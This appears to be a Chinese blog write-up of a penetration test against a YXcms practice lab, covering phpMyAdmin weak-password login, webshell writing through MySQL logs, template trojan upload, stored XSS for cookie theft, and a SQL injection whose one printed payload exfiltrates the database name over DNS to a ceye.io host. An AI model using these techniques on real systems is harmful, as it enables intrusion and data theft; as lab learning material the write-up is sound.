一次对YXcms靶场的测试记录

信息收集

登录目标网址

登录目标网址,会发现是phpstudy的探针,从中可以获取一些关于目标网站的信息

  • 网站有phpinfo,php版本是5.4.5
  • 服务器用的是apache2.4.23
  • 网站会显示错误信息
  • mysql数据库
  • 使用了phpstudy

    以上这些是我目前能察觉到危险的信息
    补充:关于目标网站分析的插件:wappalyzer

js接口

目前不知道如何判断js文件里有没有有用信息

目录扫描

phpinfo.php

phpmyadmin

beifen.rar

robots.txt

端口扫描

结果


看到了445端口,win7的系统

进入yxcms

通过phpmyadmin的弱口令进入管理页面植入shell后,发现目标站点在根目录下布置了一个网站yxcms

信息收集

浏览网页信息

  • 发现在公告栏处公布了后台地址、账户、密码
  • 找到可以留言的文章,留言后需要管理员审核

目录扫描

robots.txt


无有用信息

phblic


网站的一些源代码,但我目前读不懂代码,不清楚有没有有用信息

upload


网站的一些基本信息,主要为图片

protected

  • 点击目录下各文件,在adminApi.php文件出现报错信息,得到绝对路径

    点遍所有目录下文件,没发现其他有用信息
httpd.ini


无可用信息

升级日志.txt


可以得到版本是1.2.1,在得到网站使用的cms和版本号,我们可以在百度搜对应的漏洞来利用,参考这篇:https://www.ebounce.cn/web/yxcms.html


漏洞测试

永恒之蓝

利用kail的msfconsole

一顿操作猛如虎,就是进不去,利用失败

phpmyadmin

获取版本号

失败~ 、~

获取当前phpmyadmin版本号的方法

在根目录下添加:

  • README
  • ChangeLog
  • doc/html/index.html
  • Change
  • changelog.php
  • readme.php
  • Documetation.html
  • Documetation.txt
  • translators.html

尝试账号

尝试了可以任意登陆的账号,结果均失败~ 、~

准备暴力破解账号

试了admin,admin。它的账号和密码其实是root,root。
mysql数据库的默认用户和密码是:root,root

获取绝对路径

因为目录扫描时我们获得了phpinfo.php文件,可在里面获得目标的绝对路径

写shell

正常导出获取shell

判断是否可写


为null代表禁止写入

不能在根路径下写入文件

通过日志写入webshell

开启日志记录

查看当前的日志记录

指定日志文件

写入恶意代码

shell连接

通过慢查询写如webshell

查询当前慢查询日志目录

重新设置路径

开启慢查询日志

写入日志

shell连接

再次尝试正常导出获取webshell

修改secure_file_priv后的值为空



但结果失败

试着重启一下靶场的服务


这就很尴尬,实际渗透中,如果你已经通过其它方式获取到了shell,则没有必要去通过直接导出的方式。

后台

进入后台

点击各个功能模块

第一遍各个点了一遍没有发现什么可以利用的模块

网上找了文章,发现自己错过了一个可利用模块,对网站的结构不敏感

新建模板,上传一句话木马

如何确定刚才模板文件的路径

我也不知道,新建立的模板文件上传到哪个路径了,但是我们不是获得了一个备份文件吗,解压后,用搜索文件软件listary进行搜索目标模板位置已有的文件,可确定路径

连接shell

XSS

插入xss代码


进入后台审核



当然,这是建立在管理员什么都不懂的情况下,如果管理员看懂了代码,直接删除这条留言;也可能会有攻击者留一段正常的留言,比如对这个网站的喜欢和适用中的意见,但是文字靠后部分插入了一段代码。

结果(失败)


结果分析:输出了我们输入的内容没有过滤,但是没有产生对应的弹窗结果。也没有过滤特殊符号。

其他位置尝试


依然失败,我们输入的地方可能不对

网上找资料

会发现成功的地方在留言本这里,会发现测xss漏洞的原则是一切可以进行输入的地方

再一次插入xss代码

审核(进入审核界面,首先弹出来弹窗)

审核后

利用xss平台获取cookie

平台获取数据


后台SQL注入

漏洞所在位置

代理抓包


构造payload

payload:and if ((select load_file(concat('\\',(select database()),'.xxxx.ceye.io\abc'))),1,1))--

攻击结果

补充

  • 要注意在burp suite里的文字格式设置为英文字体,否则会出现引号的不匹配问题。
  • 刚开始渗透的我们很难一开始就分析代码,找到漏洞所在,但是我们刻意利用搜索引擎找到目标适用版本对应的漏洞来进行验证是否存在,这个过程是从0到1的过程,0与1之间会有很多中间阶段
posted @ 2021-12-08 15:24  ceiling~  阅读(1012)  评论(0编辑  收藏  举报